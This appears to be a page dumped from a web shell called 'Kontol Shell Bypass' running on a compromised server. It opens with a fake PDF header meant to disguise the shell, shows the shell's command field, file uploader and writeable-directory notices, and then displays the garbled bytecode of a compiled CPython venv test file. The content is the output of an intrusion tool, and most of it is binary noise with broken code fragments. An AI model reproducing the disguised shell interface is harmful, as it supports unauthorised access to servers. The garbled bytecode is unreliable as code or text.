%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/test/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/test/__pycache__/test_venv.cpython-39.opt-1.pyc
a

�_g0W�@s*dZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
mZmZm
Z
mZmZmZmZmZddlZddlZddlmZzddlZWney�dZYn0e�ejejkp�ejejkd�Zddd�ZGdd	�d	ej �Z!Gd
d�de!�Z"eGdd
�d
e!��Z#e$dk�r&e�%�dS)z|
Test harness for the venv module.

Copyright (C) 2011-2012 Vinay Sajip.
Licensed to the PSF under a contributor agreement.
�N)�captured_stdout�captured_stderr�
requires_zlib�can_symlink�EnvironmentVarGuard�rmtree�
import_module�*skip_if_broken_multiprocessing_synchronize)�patchz:cannot run venv.create from within a venv on this platformcCsBtj|tjtj|d�}|��\}}|jr:t�|j|||��||fS)N)�stdout�stderr�encoding)�
subprocess�Popen�PIPE�communicate�
returncode�CalledProcessError)�cmdr
�p�out�err�r�-/vddos/python/lib/python3.9/test/test_venv.py�check_output%s�
�rc@sBeZdZdZdZdd�Zdd�Zdd�Zd	d
�Zdd�d
d�Z	dS)�BaseTestzBase class for venv tests.i�cCs�tj�t���|_tjdkr0d|_d|_d|_	n$d|_ddt
jdd�f|_d	|_	t
j}tj�
|�d
|_t
jdkr�tj�|�r�tj�|�s�d|_nd
|_dS)N�nt�Scripts��Lib�Include�bin�lib�python%d.%d��include����win32TF)�os�path�realpath�tempfile�mkdtemp�env_dir�name�bindirr"r%�sys�version_info�_base_executable�split�exe�platform�lexists�exists�cannot_link_exe)�self�
executablerrr�setUp4s"


�
�zBaseTest.setUpcCst|j�dS�N)rr-�r9rrr�tearDownGszBaseTest.tearDownc	Osjt��D}t��}||i|��Wd�n1s20YWd�n1sP0Y|��|��fSr<)rr�getvalue)r9�func�args�kwargs�output�errorrrr�run_with_captureJsJzBaseTest.run_with_capturecGstjj|jg|�R�Sr<)r(r)�joinr-)r9rArrr�get_env_filePszBaseTest.get_env_filezutf-8�r
cGs@t|j|�d|d��}|��}Wd�n1s20Y|S)N�rrH)�openrG�read)r9r
rA�f�resultrrr�get_text_file_contentsSs&zBaseTest.get_text_file_contentsN)
�__name__�
__module__�__qualname__�__doc__ZmaxDiffr;r>rErGrNrrrrr0src	@sBeZdZdZdd�Zdd�Zdd�Zdd	�Zed
d��Z	e
jdkrHd
Zn4ddddde
j
dd�fdde
j
dd�dffZdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Ze�e�d"�d#d$��Zed%d&��Ze�e�d"�d'd(��Ze�ejd)kd*�d+d,��Zed-d.��Ze�ejd)kd/�d0d1��Ze�e
jd2kd3�d4d5��Z dS)6�	BasicTestzTest venv module functionality.cGs |j|�}|�tj�|��dSr<)rG�
assertTruer(r)�isdir)r9rA�fnrrrrU[s
zBasicTest.isdircCs$t|j�|�tj|j�|�|j�|�|j�|j|j�|�	d�}t
�d�dkohtj
dkohtjdk}|r�|�tj�|��n|�tj�|��|�d�}tj}tj�|�}|�d||�|�	|j|j�}tj�|��s|�	|j�}td|�td	t�|��|�tj�|�d
|�dS)zB
        Test the create function with default arguments.
        Zlib64�P��posix�darwin�
pyvenv.cfgz	home = %s�Contents of %r:�    %r�File %r should exist.N)rr-rE�venv�createrUr/r%r"rG�struct�calcsizer(r.r0r5rTr)�islink�assertFalser7rNr2�dirname�assertInr4�print�listdir)r9rZ
conditions�datar:r)rV�bdrrr�
test_defaults_s,

�
zBasicTest.test_defaultscCs0tj�|j�d}t|j�t��}|�|j|j�|�	|j�}|�
d�}|�|jd|�|�
d|�t|j�tjdd�}|�|j|j�|�	|j�}|�
d�}|�|jd�|�d|�t|j�tjd	d�}tj�t���}|�|j|j�|�	|j�}|�
d�}|�|jd|�|�d
||�dS)N�r[z(%s) z	prompt = z	My prompt)�promptz(My prompt) zprompt = 'My prompt'
�.zprompt = '%s'
)r(r)r3r-rr_�
EnvBuilderrEr`�ensure_directoriesrN�assertEqualrmZassertNotInrf�basename�getcwd)r9Zenv_name�builder�contextri�cwdrrr�test_prompt{s.





zBasicTest.test_promptc	s�t��}tjdkrdnd�tjdkr(dnd�t���`�����fdd�}|���}td|��|�|�Wd�n1s|0YWd�n1s�0YdS)	Nr'rr!z
python.exe�pythonc
s*��|tj�����ddddddg�dS)N�-m�pip�installz	--upgradeZ
setuptools)rqr(r)rF)r�Zbin_pathZfake_env_dirZ
python_exer9rr�pip_cmd_checker�s��z<BasicTest.test_upgrade_dependencies.<locals>.pip_cmd_checkerzvenv.subprocess.check_call)	r_ror0r5r+�TemporaryDirectoryrpr
Zupgrade_dependencies)r9rtr}Zfake_contextrr|r�test_upgrade_dependencies�s

z#BasicTest.test_upgrade_dependenciescCs�t|j�|�tj|j�tj�|j|j|j	�}|ddg}d|jfd|jfdt
jfdt
jffD]4\}}d||d<t
|�\}}|�|��|���q^dS)	z>
        Test that the prefix values are as expected.
        �-cN�prefix�exec_prefix�base_prefix�base_exec_prefixzimport sys; print(sys.%s)r$)rr-rEr_r`r(r)rFr/r4r0r�r�rrq�strip�encode)r9�envpyrr�Zexpectedrrrrr�
test_prefixes�s

�zBasicTest.test_prefixesr'))r)r r)r�
site-packages)r!)r%)r"r"r#Nr$r�c	Csp|D]f}tjj|jg|�R�}t�|�tj�||�}t|d��}|�d�Wd�q1s`0YqdS)zn
        Create some files in the environment which are unrelated
        to the virtual environment.
        �wb�Still here?N)r(r)rFr-�mkdirrJ�write)r9�paths�filename�subdirs�drVrLrrr�create_contents�s
zBasicTest.create_contentsc	Cs�|�|jd�t�|j�|jD]j}tjj|jg|d�R�}|�tj�	|��t
|d�� }|�|��d�Wd�q 1s�0Yq tj
dd�}|�|j�|jD]0}tjj|jg|d�R�}|�tj�	|��q�dS)zE
        Test creating environment in an existing directory.
        �foo)r��rbr�NT��clear)r��ENV_SUBDIRSr_r`r-r(r)rFrTr7rJrqrKrord)r9r�rVrLrtrrr�test_overwrite_existing�s
0
z!BasicTest.test_overwrite_existingcCsZt�|�D]J}tj�||�}tj�|�s4tj�|�r@t�|�q
tj�|�r
t|�q
dSr<)	r(rhr)rFrc�isfile�removerUr)r9r)rVrrr�clear_directory�szBasicTest.clear_directoryc	Cs�|jdd�D]p}tjj|jg|�R�}t|d��}|�d�Wd�n1sR0Y|�tt	ft
j|j�|�|j�qdS)N�r��)
r�r(r)rFr-rJr�ZassertRaises�
ValueError�OSErrorr_r`r�)r9r�rVrLrrr�test_unoverwritable_fails�s(z#BasicTest.test_unoverwritable_failscCs�dD]�}tj|d�}|�|j|j�|�|j�|�|j�|j|j�|�	|j|j
�}tj�
|�s�|�	|j�}td|�tdt�|��|�tj�
|�d|�qdS)zC
        Test upgrading an existing environment directory.
        �FT)�upgrader\r]r^N)r_rorEr`r-rUr/r%r"rGr4r(r)r7rgrhrT)r9r�rtrVrjrrr�test_upgradeszBasicTest.test_upgradecCsFdD]<\}}tjd|d�}|�|j�|�d�}|�d||�qdS)z:
        Test isolation from system site-packages
        ))T�true)FZfalseT)r��system_site_packagesr[z"include-system-site-packages = %s
N)r_ror`r-rNrf)r9Zssp�srtrirrr�test_isolations

zBasicTest.test_isolationzNeeds symlinkscCshdD]^}tjd|d�}|�|j�|�|j|j�}|r|jrP|�t	j
�|��q|�t	j
�|��qdS)z3
        Test symlinking works as expected
        r�T�r��symlinksN)
r_ror`r-rGr/r4r8rdr(r)rcrT)r9ZuslrtrVrrr�test_symlinking szBasicTest.test_symlinkingcCsbt|j�|�tj|j�tj�tj�|j�|j	|j
�}t|ddg�\}}|�|�
�|���dS)�D
        Test that the sys.executable value is as expected.
        r��!import sys; print(sys.executable)N)rr-rEr_r`r(r)rFr*r/r4rrqr�r��r9r�rrrrr�test_executable8s
��
zBasicTest.test_executablecCslt|j�tjddd�}|�|j�tj�tj�|j�|j	|j
�}t|ddg�\}}|�|�
�|���dS)r�Tr�r�r�N�rr-r_ror`r(r)rFr*r/r4rrqr�r��r9rtr�rrrrr�test_executable_symlinksEs
��
z"BasicTest.test_executable_symlinksrzonly relevant on WindowscCs�t|j�tj�tj�|j�d�}tjdd�}|�|�tj�||j	d�}tj�||j	|j
�}t|d|j
ddgdd	�\}}|�|�
�d
�dS)z0
        Test handling of Unicode paths
        uϼўТλФЙTr�zactivate.bat�&r�zprint(0)ZoemrH�0N)rr-r(r)rFr*r_ror`r/r4rrqr�)r9r-rt�activater�rrrrr�test_unicode_in_batch_fileSs

�
z$BasicTest.test_unicode_in_batch_filecCsht�t|j�|�tj|j�tj�tj�	|j�|j
|j�}t|ddg�\}}|�
|��d���dS)zA
        Test that the multiprocessing is able to spawn.
        r�zrfrom multiprocessing import Pool; pool = Pool(1); print(pool.apply_async("Python".lower).get(3)); pool.terminate()rxN)r	rr-rEr_r`r(r)rFr*r/r4rrqr�r�r�rrr�test_multiprocessingds
��
zBasicTest.test_multiprocessingznot relevant on WindowscCs�t�d�}|dur|�d�t|j�tjdd�}|�|j�tj	�
|j|jd�}tj	�
|jd�}t|d��"}|�
d|�d	��Wd�n1s�0Yt||g�\}}|�|d
���|�|d
���dS)N�bashzbash required for this testTr�r�ztest_strict.sh�wzset -euo pipefail
source z
deactivate
�)�shutil�whichZskipTestrr-r_ror`r(r)rFr/rJr�rrqr�)r9r�rtr�Ztest_scriptrLrrrrr�%test_deactivate_with_strict_bash_optsys


�(z/BasicTest.test_deactivate_with_strict_bash_optsrZzonly relevant on macOScCsft|j�t��}|�|j�tj�tj�|j�|j	|j
�}t|ddg�\}}|�|�
�d���dS)Nr�z5import os; print("__PYVENV_LAUNCHER__" in os.environ)�Falser�r�rrr�test_macos_env�s
��
zBasicTest.test_macos_env)!rOrPrQrRrUrkrwr�requireVenvCreater�r0r5r�r1r�r�r�r�r�r��unittest�
skipUnlessrr�r�r�r(r.r�r�ZskipIfr�r�rrrrrSXsF

�	







rSc@sReZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Ze	�
ed�e�d
d���Z
dS)�
EnsurePipTestz%Test venv module installation of pip.cCsdtj�tj�|j�|j|j�}t|ddg�\}}|�d�}|�	|d�|�d�}|�	|�
�d�dS)Nr�z1try:
 import pip
except ImportError:
 print("OK")�latin-1r�ZOK)r(r)rFr*r-r/r4r�decoderqr�r�rrr�assert_pip_not_installed�s��


z&EnsurePipTest.assert_pip_not_installedcCs&t|j�|�tj|j�|��dSr<�rr-rEr_r`r�r=rrr�test_no_pip_by_default�s
z$EnsurePipTest.test_no_pip_by_defaultcCs*t|j�|jtj|jdd�|��dS)NF)�with_pipr�r=rrr�test_explicit_no_pip�s
z"EnsurePipTest.test_explicit_no_pipcCsTttjd�� }|�|��d�Wd�n1s20Y|�tj�tj��dS)Nr�r�)rJr(�devnullrqrKrTr)r7)r9rLrrr�test_devnull�s.zEnsurePipTest.test_devnullcCs�t|j�t���0}d|d<d|d<t����}||d<d}d}d}|fD]b\}}tj�||�}	t�|	�tj�|	|�}
t	|
d	��}|�
|�Wd�qH1s�0YqHz|jtj
|j|d
d�WnLtj�y}z0|jjdd
�}
d}|�|�||
��WYd}~n
d}~00Wd�n1�s*0YWd�n1�sJ0Ytj�tj�|j�|j|j�}t|ddddddg�\}}|�d�}|�|d�|�d�}d�t���}|�|dt|��|�t�|j��d�}|�||�t��(}t|dddddg�\}}Wd�n1�s&0Y|�d�}tjdd|tj d�}|�|�!�d�|�d�}|�d|�|�d|�|�s�|�"�dS)N�eZPYTHONWARNINGS�1ZPIP_NO_INSTALL�HOMEz[global]
no-install=1)rzzpip.ini)z.pipzpip.confr�T)r�r��replace)�errorsz{}

**Subprocess Output**
{}z-Wzignore::DeprecationWarningz-Iryrzz	--versionr�r�zpip {}zensurepip._uninstallzl^(WARNING: )?The directory .* or its parent directory is not owned or is not writable by the current user.*$)�flagszSuccessfully uninstalled pipz#Successfully uninstalled setuptools)#rr-rr+r~r(r)rFr�rJr�rEr_r`rrrCr�Zfail�formatr*r/r4rrq�	ensurepip�version�len�fsencoderf�re�sub�	MULTILINE�rstripr�)r9r��envvarsZhome_dirZ
bad_configZwin_locationZposix_locationreZfname�dirpathZfpathrL�excZdetails�msgr�rrZexpected_versionr-rrr�do_test_with_pip�sf



*�
h
�


�*
�
zEnsurePipTest.do_test_with_pipzpip requires ctypescCs|�d�|�d�dS)NFT)r�r=rrr�
test_with_pips
zEnsurePipTest.test_with_pipN)rOrPrQrRr�r�r�r�r�r�r��ctypesrr�rrrrr��s

Z
r��__main__)N)&rRr�r(Zos.pathr�r�rarr0r+Ztest.supportrrrrrrrr	r�r_Z
unittest.mockr
r��ImportErrorr�r�r�r2r:r�rZTestCaserrSr�rO�mainrrrr�<module>s@(

�
(B


Kontol Shell Bypass